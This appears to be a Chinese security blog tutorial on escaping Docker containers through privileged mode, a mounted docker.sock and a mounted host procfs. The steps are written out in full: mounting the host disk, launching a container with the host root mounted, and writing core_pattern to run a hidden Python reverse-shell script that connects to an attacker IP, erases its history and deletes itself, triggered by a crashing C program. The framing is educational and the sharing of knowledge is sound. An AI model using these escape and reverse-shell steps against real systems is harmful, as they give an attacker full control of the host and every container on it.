当前位置: 首页 > news >正文

云上攻防—Docker安全容器逃逸特权模式危险挂载

前言

之前分享的是云服务安全,今天开始云原生安全,安全道路依旧很长。

什么是Docker呢,它是开源的容器化平台,用于开发、部署和运行应用程序。它通过将应用程序及其依赖项打包在轻量级的容器中,实现环境一致性、快速部署和资源高效利用这玩意类似虚拟机,是一个虚拟化技术。我们在VM中使用的虚拟机其实基于物理硬件开辟的,而容器是基于我们操作系统内核来开辟的。这样就表面了容器要比虚拟机更加轻量,对CPU和内存等条件要求更低。

就好比如我自己的电脑开4台以上虚拟机就卡死了,容器随便开都行,而且容器无论是部署还是操作都很方便,我们本地按照mysql啥的,又要配置东西,又要按照环境,而容器只需拉取镜像就行。

Docker安全

来到官网我们可以看到有非常多的容器镜像,有一些是官方发布的,也有一些是用户自己打包上传的。这就引出了一个安全问题,有一些人会在容器里面留下后门,当时运行的容器的时候,后门也会被运行,这是早期容器刚出来的现象。假如我们好不容易拿到的shell,却发现是在容器里面,那该咋办,今天讲两种方法实现容器逃逸。

特权模式

当我们运行一个容器时,如果它权限过大的话,那么就可以进行逃逸,我们以特权模式启动 alpine 容器。

docker run --rm --privileged=true -it alpine

这里要顺便说一下,如何判断自己是否在容器中,常用的有三种。

查询cgroup信息,不知为啥我这里啥也没有。

cat /proc/1/cgroup

检查/.dockerenv文件,通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

ls -alh /.dockerenv 

还有一个是检查mount信息,利用mount查看挂载磁盘是否存在docker相关信息。

mount

更多判断方法可以看这篇文章。

如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客

首先检查是否为特权模式运行的容器,如果是特权模式启动的话,CapEff 对应的掩码值应该为0000003ffffffff或者0000001fffffffff。

cat /proc/self/status | grep CapEff

先创建一个目录。

mkdir /test

​执行下面的命令​将存储设备 /dev/sda1 上的文件系统挂载到目录 /test 上,也就是说我可以通过查看test文件夹来实现对真实系统目录的访问。

mount /dev/sda1 /test

然后我们进入到test目录进行查看,发现里面内容和真实系统一样,成功实现docker逃逸。

后面再往真实的系统文件写入一个反弹shell的计时任务即可拿到shell。

危险挂载

挂载Socket

Docker Socket 用来与守护进程通信即查询信息或者下发命令,类似于网站的功能插件,如果在启动容器的时候挂载了这个功能,那么也会有容器逃逸的安全问题。原理就是,​利用容器内对宿主机的 Docker 引擎的直接控制权,创建或操作具备访问宿主机资源能力的新容器/进程,从而突破当前容器的隔离限制。​

运行容器 ubuntu 并且挂载socket,如果你没有拉去的话,会自动帮你拉去镜像。

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

接着进入到容器中去。

docker exec -it with_docker_sock /bin/bash

检查是否挂载了Socket。

ls -lah /var/run/docker.sock

这里我们可以试试检查特权模式,很明显不对。

容器里面执行命令,更新apt-get 和安装 curl命令。

apt-get update
apt-get install curl

接着在容器里面再安装 docker。

curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,类似套娃,可以看到多了一个host目录。

docker run -it -v /:/host ubuntu /bin/bash

查看host目录下的home目录内容,发现和宿主机的一样,说明成功逃逸。

挂载procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。核心原理是:当容器内挂载了宿主机的 proc 文件系统(/proc)时,攻击者可以通过写入 /proc/sys/kernel/core_pattern 等敏感路径,触发宿主机执行任意命令。

创建一个容器并挂载 /proc 目录。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

进行检查一下,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。

find / -name core_pattern

找到当前容器在宿主机下的绝对路径,这里我的绝对路径是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然会出错。

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

这里要在容器里面安装一下 vim 和 gcc,因为后续要创建脚本和编译脚本,实战中我推荐本地编译好了上传上去,不然在实际生产环境中安装东西不太现实。

apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

接着创建一个反弹shell的脚本。

vim /tmp/.t.py#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()

实战中建议用cat命令写入,因为vim需要有回显的shell才行。

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反弹IP
lport = xxxx //反弹端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

给脚本赋予权限。

写入反弹 shell 到目标的 proc 目录下。

echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

主机上进行监听。

然后在容器里创建一个可以崩溃的程序。

vim t.c
#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

进行编译,你也可以编译好再上传。

gcc t.c -o t

最后运行程序即可反弹shell,遗憾的是我这里并没有成功,检查了端口也是没问题的,不知道为啥,有懂的师傅可以和我说一下。

总结

以上就是这次的容器逃逸手法啦。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.lqws.cn/news/581257.html

相关文章:

  • DORIS数据备份(HDFS)
  • 对称非对称加密,https和http,https通讯原理,Charles抓包原理
  • 非常详细版: dd.device.geolocation 钉钉微应用获取定位,移动端 PC端都操作,Vue实现钉钉微应用获取精准定位并渲染在地图组件上
  • GeoTools 结合 OpenLayers 实现属性查询(二)
  • Python UI自动化演进格局:从传统库到AI驱动的智能代理
  • (4)pytest-fixture
  • 04_MySQL 通过 Docker 在同一个服务器上搭建主从集群(一主一从)
  • MetaGPT: 多智能体框架(还没装好...)
  • 大数据系统架构实践(三):Hbase集群部署
  • 机器学习06 集成学习
  • R1-Searcher使用强化学习增强语言模型解决问题的搜索能力
  • 手机屏暗点缺陷修复及相关液晶线路激光修复原理
  • 超大js文件多层级引用缓存在网络较差的时候无法调用使用问题
  • 设计模式-单例模式
  • FPGA矩阵算法实现
  • PHP安装使用教程
  • 如何在Linux服务器中配置Oracle数据库
  • 大数据(4)-spark
  • vue3 + luckysheet 实现在线编辑Excel
  • stm32 freertos下基于 hal库的模拟I2C驱动实现
  • Python 安装使用教程
  • 【知识】RPC和gRPC
  • 实现ModbusTCP转Profinet网关协议转换功能的网关设备
  • Install Ubuntu 24.04 System
  • reactor-test
  • 如何在 iOS 上线前做好安全防护?IPA 混淆与逆向防护实践详解
  • 什么是IOC(控制反转)?—— 用生活实例解读Spring核心概念
  • 【硬核数学】2.7 理论与现实的鸿沟:深度学习的数值稳定性挑战《从零构建机器学习、深度学习到LLM的数学认知》
  • 使用OpenSSL接口读取pem编码格式文件中的证书
  • Java外观模式实现方式与测试方法